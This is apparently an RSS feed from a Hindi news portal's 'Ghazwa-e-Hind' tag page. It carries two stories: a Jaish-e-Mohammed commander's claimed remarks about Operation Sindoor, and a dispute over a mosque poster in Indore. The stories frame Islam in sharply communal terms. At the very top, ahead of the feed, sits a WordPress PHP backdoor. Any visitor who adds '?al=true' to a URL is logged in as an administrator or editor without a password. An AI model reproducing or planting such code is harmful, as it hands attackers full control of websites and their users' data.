// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Ghazwa-e-Hind – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Sun, 08 Feb 2026 03:35:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 मुनीर ने दिया था ‘गजवा-ए-हिंद’ का नारा, ऑपरेशन सिंदूर पर जैश आतंकी का चौंकाने वाला कबूलनामा https://pratyushaashakinayikiran.com/?p=196254 Sun, 08 Feb 2026 03:35:00 +0000 https://pratyushaashakinayikiran.com/?p=196254  नई दिल्ली / इस्लामबाद 

जैश-ए-मोहम्मद के टॉप आतंकी ने ऑपरेशन सिंदूर को लेकर बड़ा कबूलनामा किया है. आतंकी इलियास कश्मीरी ने खुलासा किया है कि पाकिस्तानी सेना के चीफ ने आतंकियों से कहा था कि ये गजवा ए हिंद है.

पीओके के रावलकोट में पांच फरवरी को जैश के टॉप कमांडर इलियास कश्मीरी ने जैश के आतंकियों के बीच यह खुलासा किया. कश्मीरी ने कहा कि हमारे सिपहसालार ने युद्ध का ऐलान करते हुए कहा था कि ये युद्ध गजवा ए हिंद है. 

कश्मीरी ने कहा कि जब जंग छिड़ गई, असलहा निकल आया. फाइटर जेट टकरा गईं, टैंक आमने-सामने खड़े हो गए. तब सिपहसालार ने ऐलान कर दिया कि ये गजावत उल हिंद है. ये बुनयान अल मरसूस है. 

ये रैली जैश ए मोहम्मद में भर्ती किए गए आतंकियों के लिए की गई थी. इलियास कश्मीरी ने आतंकवाद फैलाने के लिए इन ट्रेंड आतंकियों के सामने ये कबूलनाम किया. इलियास कश्मीरी ने कहा हमारा नाम, हमारी पहचान, हमारा Motto जिहाद (आतंकवाद) है. उन्होंने कहा कि जब सरकार साथ थी, तब भी जेहाद जब सरकार साथ नहीं थी, तब भी जेहाद, जिहाद हमारा मकसद है. हम जेहाद करेंगे और कश्मीर को आजाद करवाएंगे.

बता दें कि इलियास कश्मीरी वही आतंकी है, जिसने सबसे पहले खुलासा किया था कि सात मई को ऑपरेशन सिंदूर के दौरान जैश आतंकी मौलाना मसूद अजहर का परिवार बहावलपुर में भारतीय हमले में मारा गया था.

मालूम हो कि ऑपरेशन सिंदूर के दौरान भारत के खिलाफ पाकिस्तान ने अपने ऑपरेशन का नाम बुनयान अल मरसूस रखा था, जिसका मतलब होता है- शीशे जैसी मजबूत दीवार यानी एक ऐसी दीवार जो बहुत मजबूती से रक्षा करती है. इस नाम के साथ पाकिस्तान खुद को दुनिया के सामने मजबूत दिखाना चाहती थी. 

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इंदौर में ‘गजवा-ए हिंद’ जैसे पोस्टर पर बवाल, विधायक पुत्र एकलव्य सिंह गौड़ ने की कार्रवाई की मांग https://pratyushaashakinayikiran.com/?p=93556 Mon, 04 Nov 2024 16:09:00 +0000 https://pratyushaashakinayikiran.com/?p=93556 इंदौर
शहर के कागदीपुरा इलाके की एक मस्जिद के ऊपर लगे पोस्टर को लेकर इंदौर में बवाल मच गया है। ‘गजवा-ए-हिंद’ जैसे पोस्टर को लेकर हिंद रक्षक संगठन ने इस पर कड़ी आपत्ति लेते हुए पुलिस प्रशासन से कार्रवाई की मांग की है। इससे पहले दीपावली के अगले दिन छत्रीपुरा थाना क्षेत्र में पटाखा चलाने को लेकर दो पक्षों में जमकर विवाद हुआ था।

हटा दिए गए पोस्टर

हालांकि, विधायक मालिनी गौड़ के बेटे और हिंद रक्षक संगठन के संयोजक एकलव्य सिंह गौड़ के आपत्ति के बाद मुस्लिम समुदाय ने कल शाम को ही पोस्टर हटा दिया था।

गौड़ ने एक्स पर मस्जिद पर लगा पोस्टर शेयर करते हुए लिखा कि इंदौर के कागदीपुरा क्षेत्र में एक मस्जिद पर लगाया गया 'गजवा-ए-हिंद' के आतंक को दर्शाता यह पोस्टर प्रशासन की शांति व्यवस्था को मुंह चिढ़ा रहा है। प्रशासन से निवेदन है तत्काल संज्ञान में लेकर दोषियों के विरुद्ध कठोरतम कार्रवाई करें।

गजवा-ए-हिंद को जान लीजिए

गजवा-ए-हिंद में गजवा का अर्थ 'इस्लाम को फैलाने के लिए की जाने वाली जंग' होता है। इस युद्ध में शामिल इस्लामिक लड़ाकों को 'गाजी' कहा जाता है। मोटे तौर पर गजवा-ए-हिंद के मायने भारत में जंग के जरिए इस्लाम की स्थापना करने से है। गजवा-ए-हिंद का मतलब भारतीय उपमहाद्वीप में रहने वाले काफिरों को जीतकर उन्हें मुस्लिम बनाने से है। दुनिया के इस हिस्से में रहने वाले लोगों के साथ युद्ध से है। आसान भाषा में समझें तो गजवा-ए-हिंद का मतलब जंग में भारत को जीतकर इसका इस्लामीकरण करने से है।

कहां से आया गजवा-ए-हिंद

इस्लाम में दुनिया को दो हिस्‍सों में बांटकर देखा गया है। एक, जहां इस्लाम को मानने वालों का शासन है। दूसरा, जहां इस्लाम मानने वाले लोग रहते तो हैं, लेकिन वहां शासन किसी दूसरे धर्म का है। इस्लाम में मुस्लिम शासन वाले देश को दारुल इस्लाम कहा जाता है। वहीं, गैर मुस्लिम शासन वाले देश को दारुल हर्ब कहा गया है।

यह एक चेतावनी है

इसमें सबसे आगे भगवा झंडे लिए सेना को दिखाया गया है। यह सनातन धर्म के लिए एक चेतावनी है। साथ ही कहा कि इस्लाम ने दुनिया को दो हिस्सों में बांट दिया है। एक दारुल इस्लाम, यह वह दुनिया है जिसमें सभी लोग इस्लाम स्वीकार करते हैं। जहां दारुल इस्लाम नहीं है, वहां वे उसे जीतना चाहते हैं, जिसे दारुल हरब कहा जाता है.

गजवा-ए-हिंद का मतलब है कि उसे हिंद के खिलाफ अपनी हुकूमत कायम करनी है। एक अभियान चल रहा है। इसे छोटा काम नहीं समझना चाहिए, यह हमारे लिए एक संदेश है।’ इस प्रकार का व्यवहार पूर्णतः अस्वीकार्य है। हमने इसकी शिकायत थाने में की है, लेकिन कोई कार्रवाई नहीं हुई।

क्या है गजवा-ए-हिंद का मतलब

जानकारी के मुताबिक गजवा-ए-हिंद में गजवा का मतलब है ‘इस्लाम फैलाने के लिए युद्ध’. इस युद्ध में शामिल इस्लामी लड़ाकों को ‘गाजी’ कहा जाता है। मोटे तौर पर कहें तो गजवा-ए-हिंद का मतलब युद्ध के जरिए भारत में इस्लाम की स्थापना करना है।

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